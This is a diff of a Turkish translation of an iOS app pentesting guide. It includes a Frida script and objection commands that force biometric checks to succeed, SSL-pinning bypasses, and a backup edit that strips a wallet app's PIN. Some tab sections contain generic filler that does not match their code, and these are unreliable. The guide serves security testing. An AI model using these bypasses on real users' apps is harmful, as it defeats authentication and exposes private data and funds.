[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\
@ -675,13 +677,13 @@ Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **ve
### Yedeklemelerden Dosyaları Hariç Tutma ### Yedeklemelerden Dosyaları Hariç Tutma
`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için önemlidir. `Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, belirli dosyaları veya dizinleri `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için hayati önem taşır.
### Zafiyetlerin Test Edilmesi ### Zafiyetlerin Test Edilmesi
Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği hassas veriler veya yapılandırmalar açısından analiz ederek uygulama davranışını etkileyebilecek değişiklikler yapılabilir. Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği, uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları analiz edin.
Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir. Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifrelenmiş yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -694,11 +696,13 @@ Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) g
... ...
</plist> </plist>
``` ```
Şifrelenmiş yedeklemelerle uğraşmak için, [DinoSec'in GitHub deposundaki](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) Python betikleri, örneğin **backup\_tool.py** ve **backup\_passwd.py**, son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da yararlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır. ### Şifreli Yedeklemelerle İlgilenmek
### Uygulama Davranışını Değiştirme Şifreli yedeklemelerle başa çıkmak için, [DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) bulunan Python betikleri, örneğin **backup\_tool.py** ve **backup\_passwd.py**, son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da yararlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır.
Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı görülmektedir. Bu anahtarı plist'ten kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir. ### Uygulama Davranışını Değiştirmek
Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'in **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı görülmektedir. Bu anahtarı plist dosyasından kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir.
## Hassas Veriler İçin Bellek Testi Özeti ## Hassas Veriler İçin Bellek Testi Özeti
@ -706,7 +710,7 @@ Bir uygulamanın belleğinde saklanan hassas bilgilerle uğraşırken, bu verile
## **Bir Bellek Dökümü Alıp Analiz Etmek** ## **Bir Bellek Dökümü Alıp Analiz Etmek**
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir. Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın bellek sürecini dökme imkanı sağlar. Bir kez döküldüğünde, bu verileri analiz etmek, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir: Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
```bash ```bash
@ -737,13 +741,13 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tah
### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı ### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı kaba kuvvet saldırılarına dayanıklı olmalıdır. Geliştiriciler, **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuzla birlikte kullanıldığı brute-force **dayanıklı** olmalıdır.
### Kontrol ### Kontrol
Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı türde **zayıf** **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır. Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı tür zayıf **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır.
İlginç olan şudur ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak **izleyebilirsiniz**. İlginç olan şudur ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak izleyebilirsiniz:
```swift ```swift
ios monitor crypt ios monitor crypt
``` ```
@ -751,33 +755,33 @@ iOS şifreleme API'ları ve kütüphaneleri hakkında **daha fazla bilgi** için
## Yerel Kimlik Doğrulama ## Yerel Kimlik Doğrulama
**Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabilir olabileceğidir. **Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabileceğidir.
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur. Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur.
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır: Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
* Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`**. * Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`**.
* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile sırlı verileri güvence altına alır. Çeşitli [ık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir. * Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile gizli verileri güvence altına alır. Çeşitli [ık kaynaklı sargılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
{% hint style="danger" %} {% hint style="danger" %}
Ancak, hem `LocalAuthentication.framework` hem de `Security.framework`, genellikle kimlik doğrulama süreçleri için veri iletimi yapmadan öncelikle boolean değerler döndürdükleri için güvenlik açıkları sunarlar, bu da onları atlanabilir hale getirir (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). Ancak, hem `LocalAuthentication.framework` hem de `Security.framework`, öncelikle kimlik doğrulama süreçleri için veri iletmeksizin genellikle boolean değerler döndürdükleri için atlanabilir güvenlik açıkları sunarlar (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %} {% endhint %}
### Yerel Kimlik Doğrulaması Uygulamak ### Yerel Kimlik Doğrulaması Uygulamak
Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak: Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak:
* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi istemek, ikisi de etkin değilse başarısız olur. * **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için yönlendirme yapar, ikisi de etkin değilse başarısız olur.
* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID istemek. * **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID için yönlendirme yapar.
Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden gelen boolean bir değerle gösterilir, potansiyel bir güvenlik açığına işaret eder. Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir, bu da potansiyel bir güvenlik açığına işaret eder.
### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması ### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması
iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi sırlı verileri güvenli bir şekilde saklamak için **anahtarlık API'ları** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar. iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi gizli verileri güvenli bir şekilde saklamak için **anahtarlık API'ları** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulaması kullanılarak erişilebileceğini sağlar.
Anahtarlık, `SecAccessControl` özelliği ile öğeleri ayarlamayı sağlar, bu da kullanıcının Touch ID veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir. Anahtarlık, `SecAccessControl` özniteliği ile öğeleri ayarlamak için yetenek sunar, bu da kullanıcının Touch ID veya cihaz şifresi aracılığıyla başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir.
Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir. Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir.
@ -827,22 +831,25 @@ if status == noErr {
Bu bölümde, iOS uygulamalarını pentest etmek için kullanılabilecek bazı temel teknikler ve araçlar hakkında bilgi bulabilirsiniz. Bu bölümde, iOS uygulamalarını pentest etmek için kullanılabilecek bazı temel teknikler ve araçlar hakkında bilgi bulabilirsiniz.
#### Araçlar #### Araştırma ve Analiz
- **MobSF**: Otomatik olarak iOS uygulamalarını analiz etmek için kullanılan açık kaynaklı bir mobil güvenlik çerçevesi. - **Uygulama İncelemesi**: Uygulamanın işlevselliğini ve güvenlik zafiyetlerini anlamak için uygulamanın kodunu inceleyin.
- **Needle**: iOS uygulamalarını test etmek için kullanılan bir framework. - **Trafik Analizi**: Uygulamanın ağ trafiğini izleyerek, iletişimdeki güvenlik açıklarını tespit edin.
- **Cycript**: iOS uygulamalarını canlı olarak analiz etmek için kullanılan bir araç. - **Veritabanı İncelemesi**: Uygulamanın yerel veritabanını inceleyerek, hassas verilerin nasıl saklandığını anlayın.
- **Clutch**: iOS uygulamalarını kırıp çıkarmak için kullanılan bir araç.
- **Frida**: Dinamik olarak iOS uygulamalarını manipüle etmek için kullanılan bir araç.
#### Temel Teknikler #### Sızma Testi Teknikleri
- **Tersine Mühendislik**: Uygulamanın çalışma mantığını anlamak için kullanılır. - **Tersine Mühendislik**: Uygulamanın çalışma mantığını anlamak için tersine mühendislik tekniklerini kullanın.
- **Veri Depolama Analizi**: Uygulamanın yerel olarak depoladığı hassas verileri bulmak için kullanılır. - **Kötü Amaçlı Kod Enjeksiyonu**: Uygulamaya kötü niyetli kod enjekte ederek güvenlik açıklarını tespit edin.
- **Ağ Trafik Analizi**: Uygulamanın ağ trafiğini izleyerek hassas verilerin nasıl iletilip alındığını anlamak için kullanılır. - **Kimlik Doğrulama Zafiyetleri**: Uygulamanın kimlik doğrulama süreçlerini test ederek, zayıf noktaları belirleyin.
- **Güvenlik Zafiyetleri Analizi**: Uygulamada yaygın güvenlik zafiyetlerini araştırmak için kullanılır.
Bu temel teknikler ve araçlar, iOS uygulamalarını pentest etmek için başlangıç noktanız olabilir. Daha fazla bilgi edinmek ve becerilerinizi geliştirmek için pratik yapmayı unutmayın! #### Araçlar ve Platformlar
- **Cycript**: Canlı iOS uygulamalarını analiz etmek ve değişiklikler yapmak için kullanılan bir araç.
- **MobSF**: Mobil uygulamaları statik olarak analiz etmek için kullanılan açık kaynaklı bir platform.
- **Burp Suite**: Uygulamanın ağ trafiğini izlemek ve düzenlemek için kullanılan popüler bir araç.
Bu teknikler ve araçlar, iOS uygulamalarının güvenlik açıklarını tespit etmek ve gidermek için kullanılabilir.
{% endtab %} {% endtab %}
```objectivec ```objectivec
@ -900,36 +907,7 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
``` ```
{% endtab %} {% endtab %}
{% tab title="Objective-C" %} {% tab title="Objective-C" %}Bu bölümde, iOS uygulamalarını hedefleyen temel güvenlik testleri ve saldırı teknikleri hakkında bilgi bulacaksınız. Bu testler, uygulamanın güvenlik açıklarını tespit etmek ve gidermek için kullanılır. iOS uygulamalarınızı güvende tutmak için bu teknikleri anlamanız önemlidir.{% endtab %}
## Objective-C
Objective-C is the primary programming language used for iOS app development. When performing iOS pentesting, it is essential to understand Objective-C code to identify security vulnerabilities effectively.
### Tools for Analyzing Objective-C Code
There are several tools available for analyzing Objective-C code during iOS pentesting:
1. **Hopper Disassembler**: A reverse engineering tool that can be used to disassemble, decompile, and debug applications.
2. **class-dump**: A command-line utility that generates Objective-C headers from Mach-O files.
3. **otool**: A command-line tool for examining the contents of Mach-O files.
4. **IDA Pro**: A powerful disassembler and debugger that supports Objective-C.
### Common Vulnerabilities in Objective-C Code
Some common security vulnerabilities found in Objective-C code include:
- **Insecure Data Storage**: Storing sensitive data in an insecure manner.
- **Input Validation Issues**: Failing to properly validate user input.
- **Insecure Communication**: Transmitting data over insecure channels.
- **Memory Management Errors**: Improper handling of memory can lead to vulnerabilities like buffer overflows.
By using the mentioned tools and understanding common vulnerabilities, security professionals can effectively identify and mitigate security risks in Objective-C code during iOS pentesting.
{% endtab %}
```objectivec ```objectivec
// 1. define query // 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
@ -952,7 +930,7 @@ NSLog(@"Something went wrong");
``` ```
### Tespit ### Tespit
Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz edilerek de tespit edilebilir. Bunun için `otool` kullanılabilir: Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek tespit edilebilir. Bunun için `otool` kullanılabilir:
```bash ```bash
$ otool -L <AppName>.app/<AppName> $ otool -L <AppName>.app/<AppName>
``` ```
@ -967,7 +945,7 @@ Eğer `Security.framework` kullanılıyorsa, sadece ikinci olan gösterilecektir
#### **Objection** #### **Objection**
**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır. **Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik sayesinde **LocalAuthentication** mekanizmasını atlatmak mümkündür. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır.
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır: Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
```bash ```bash
@ -982,7 +960,7 @@ Bu komut, Objection'ın bir görev kaydettiği bir sıra başlatır ve `evaluate
#### Frida #### Frida
[DVIA-v2 uygulaması](https://github.com/prateek147/DVIA-v2)'ndan **`evaluatePolicy`** kullanımına bir örnek: **`evaluatePolicy`**'nin bir kullanım örneği [DVIA-v2 uygulamasından](https://github.com/prateek147/DVIA-v2):
```swift ```swift
+(void)authenticateWithTouchID { +(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init]; LAContext *myContext = [[LAContext alloc] init];
@ -1010,7 +988,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
} }
} }
``` ```
**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için **success=1** değerini döndürmesini sağlar. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır. **Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için onu engeller ve **success=1** döndüğünden emin olur. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır.
Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir. Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir.
```swift ```swift
@ -1034,7 +1012,7 @@ return result;
console.log("Objective-C Runtime is not available!"); console.log("Objective-C Runtime is not available!");
} }
``` ```
Frida betiği enjekte etmek ve biyometrik kimlik doğrulamasını atlamak için aşağıdaki komut kullanılır: Frida betiği enjekte etmek ve biyometrik kimlik doğrulamayı atlamak için aşağıdaki komut kullanılır:
```bash ```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
``` ```
@ -1094,46 +1072,48 @@ Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz
### Ana Bilgisayar Adı Kontrolü ### Ana Bilgisayar Adı Kontrolü
TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\ TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, Burp ile farklı bir ana bilgisayar adı için yeni bir sertifika **oluşturabilir ve kullanabilirsiniz**. Uygulama hala çalışıyorsa, bir zafiyet olabilir. Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, Burp ile **farklı bir ana bilgisayar adı için yeni bir sertifika oluşturabilir** ve kullanabilirsiniz. Uygulama hala çalışıyorsa, bir zafiyet olabilir.
### Sertifika Pinleme ### Sertifika Pinleme
Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunar.**\ Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika varsa çalışacaktır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\
Bu korumayı bir jailbroken cihazda atlamak için, uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz. Bu korumayı bir jailbroken cihazda atlatmak için uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
Ayrıca **objection**'ın `ios sslpinning disable` komutunu kullanabilirsiniz. Ayrıca **objection'ın** `ios sslpinning disable` komutunu da kullanabilirsiniz.
## Çeşitli ## Çeşitli
* **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefon üzerinde yüklü çerçeveleri bulabilirsiniz. * **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefon üzerinde yüklü çerçeveleri bulabilirsiniz.
* Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** dizininde bulunur. * Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** inde bulunur.
* Ve **`/User/Library`** kullanıcı düzeyindeki uygulamalar tarafından kaydedilen verileri içerir. * Ve **`/User/Library`** kullanıcı düzeyindeki uygulamalar tarafından kaydedilen verileri içerir.
* Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`**'e erişebilirsiniz. * Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`** dosyasına erişebilirsiniz.
* Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications/<APP ID>/`**) bazı ilginç dosyalar bulabilirsiniz: * Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications/<APP ID>/`**) bazı ilginç dosyalar bulabilirsiniz:
* **`iTunesArtwork`**: Uygulama tarafından kullanılan simge * **`iTunesArtwork`**: Uygulama tarafından kullanılan simge
* **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri * **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
* **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka plana gönderilmeden önce yapılan anlık görüntüleri bulabilirsiniz. * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka planda gönderilmeden önce yapılan anlık görüntüsünü bulabilirsiniz.
### Sıcak Yama/Zorunlu Güncelleme ### Sıcak Yama/Zorunlu Güncelleme
Geliştiriciler, uygulamalarının tüm yüklemelerini **anında uzaktan yamalayabilir** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\ Geliştiriciler, uygulamalarının tüm yüklemelerine anında **yama uygulayabilirler** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\ Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\
**Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz. **Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
### Üçüncü Taraflar ### Üçüncü Taraflar
**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir. **3. taraf SDK'lar** ile önemli bir zorluk, işlevselliklerinin üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir.
